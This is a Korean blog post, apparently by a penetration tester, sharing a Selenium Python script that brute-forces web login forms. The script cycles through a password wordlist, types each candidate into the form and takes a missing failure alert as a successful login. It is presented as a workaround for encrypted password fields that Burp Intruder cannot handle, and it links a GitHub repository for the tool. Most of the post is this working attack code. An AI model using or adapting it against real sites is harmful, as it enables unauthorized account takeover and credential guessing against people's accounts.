
2022.02.15 - [개발] - [Python] 웹 자동화 및 크롤링을 위한 Selenium
[Python] 웹 자동화 및 크롤링을 위한 Selenium
Selenium을 이용해서 정보수집을 위한 웹 크롤링이나 간단한 단순 조작들을 자동화할 수 있다. 예시로 한 웹에 들어가서 자동으로 로그인하는 것 까지 과정을 만들어보자. 파이썬의 파이프를 이용
hyotwo.tistory.com
이전에 셀레니움에 관해 포스팅을 한번 한 적이 있다.
근데 이번에 이 셀레니움을 이용해서 로그인 자동화 공격 툴을 만들어봤다
만든 이유는 버프의 Intruder 기능을 사용하기가 좀 어려웠다.
진단을 하다보면 아래 사진과 같이 계정의 패스워드 파라미터가 암호화되어 날아가는 경우가 있는데,
이는 burp의 인트루더로는 자동화공격 테스트가 불가하다.
그래서 직접 타이핑을 하고 그 결과를 확인할 수 있는 간단한 도구가 필요했는데
저번에 만들어본 셀레니움이 생각나서 조금 더 코드를 얹어 구현했다.
워드리스트를 아래와같이 생성하고
테스팅 페이지에서 동작하는 모습은 아래 영상과 같다.
전체적인 코드는 아래와 같다.
driver = webdriver.Chrome("./chromedriver.exe") # 크롬드라이버 경로 chromedriver path
u = 'login url'
driver.get(u)
#파일을 불러와서 배열로 만듬 Create an array with a wordlist
file_path = "wordlist 경로"
with open(file_path) as f:
wordlist = f.read().splitlines()
#직접 배열을 만듬 Create direct array
#wordlist=['1', '2', '3', '4', '5'] # 입력할 패스워드
driver.implicitly_wait(10)
licycle = cycle(wordlist)
cu = driver.current_url
while True:
driver.implicitly_wait(5)
nextp = next(licycle)
sleep(1)
A = "//input[@name='ID point']"
input_window = driver.find_element_by_xpath(A)
input_window.send_keys ("ID")
sleep(1)
B = "//input[@name='PW point']"
input_window = driver.find_element_by_xpath(B)
input_window.send_keys (nextp+"\n")
print("\033[91m"+"패스워드 입력 : " +"\033[94m"+ nextp + "\033[0m")
try:
WebDriverWait(driver, 3).until(EC.alert_is_present(),
'Timed out waiting for PA creation ' +
'confirmation popup to appear.')
alert = driver.switch_to.alert
alert.accept()
print("\033[33m"+"로그인 실패"+"\033[0m")
print(driver.title +" ----- "+ cu)
except TimeoutException:
print("\033[32m"+"로그인 성공 종료합니다."+"\033[0m")
print(driver.title)
break
input_window = driver.find_element_by_xpath(A)
input_window.send_keys (Keys.CONTROL + "a")
input_window.send_keys (Keys.DELETE)
input_window = driver.find_element_by_xpath(B)
input_window.send_keys (Keys.CONTROL + "a")
input_window.send_keys (Keys.DELETE)
코드가 조잡하긴 하지만...
잘 굴러간다.
u변수에 로그인 페이지의 url을 입력하고
워드리스트 파일을 만들거나 직접 배열을 생성해준다
A 변수와 B 변수에는 로그인 시 입력할 부분의 id값이나 name값 등을 넣어서 구분할 수 있게 하고 실행하면된다.
참고할 점은 로그인 실패 시 alert창이 떠야지만 잘 굴러간다
로그인 시에 alert 창이 뜨는 웹이 대다수고 이 도구를 만들때도 alert창이 떠서 그 alert창의 여부로 로그인 실패/성공을 판단해서 로그인 실패 시 alert창이 없는 웹은 not in 또는 in 으로 새로 조건문을 만들어서 해야할 듯 하다.
깃허브
https://github.com/hyotwo/selenium-login-Brute-Force-Attack
GitHub - hyotwo/selenium-login-Brute-Force-Attack: 로그인 자동화 진단에 전문적인 도구와 BurpSuite의 Intruder
로그인 자동화 진단에 전문적인 도구와 BurpSuite의 Intruder 기능을 사용할 수 없는 경우 간단한 테스트를 위한 것입니다. 로그인 실패와 성공 여부는 Alert의 유무를 통해 결정되므로 로그인 실패 시
github.com
'개발' 카테고리의 다른 글
[Python] 윈도우 프록시 On/Off 단축키 설정 도구 (0) | 2022.09.02 |
---|---|
[Python/Web] 파이썬 SQL injection 자동화 도구 (Blind/Time) (5) | 2022.08.29 |
[Python] 테서랙트(Tesseract OCR)을 통한 캡차(CAPTCHA) 우회 자동화 공격 (0) | 2022.04.15 |
[Python] 웹 자동화 및 크롤링을 위한 Selenium (0) | 2022.02.15 |